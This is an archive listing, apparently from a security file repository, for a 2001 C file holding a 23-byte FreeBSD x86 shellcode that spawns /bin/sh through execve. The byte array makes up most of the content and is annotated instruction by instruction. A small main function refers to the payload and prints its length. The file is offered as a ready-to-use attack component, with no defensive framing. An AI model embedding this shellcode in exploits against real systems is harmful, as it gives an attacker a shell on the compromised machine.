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freebsd.execve_binsh.c

freebsd.execve_binsh.c
Posted Mar 19, 2001
Authored by Marcetam

FreeBSD 23 byte execve code.

tags | shellcode
systems | freebsd
SHA-256 | 5297d7b01c14324cdd6cab82dc510abfbfc8418025d9ca092cd05332f6d6e238

freebsd.execve_binsh.c

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/* FreeBSD 23 byte execve code. Greetz to anathema, the first who published  *
* this way of writing shellcodes. *
* greetz to preedator marcetam *
* admin@marcetam.net *
****************************************************************************/

char fbsd_execve[]=
"\x99" /* cdq */
"\x52" /* push %edx */
"\x68\x6e\x2f\x73\x68" /* push $0x68732f6e */
"\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */
"\x89\xe3" /* movl %esp,%ebx */
"\x51" /* push %ecx - or %edx :) */
"\x52" /* push %edx - or %ecx :) */
"\x53" /* push %ebx */
"\x53" /* push %ebx */
"\x6a\x3b" /* push $0x3b */
"\x58" /* pop %eax */
"\xcd\x80"; /* int $0x80 */

int main() {
void (*run)()=(void *)fbsd_execve;
printf("%d bytes \n",strlen(fbsd_execve));
}

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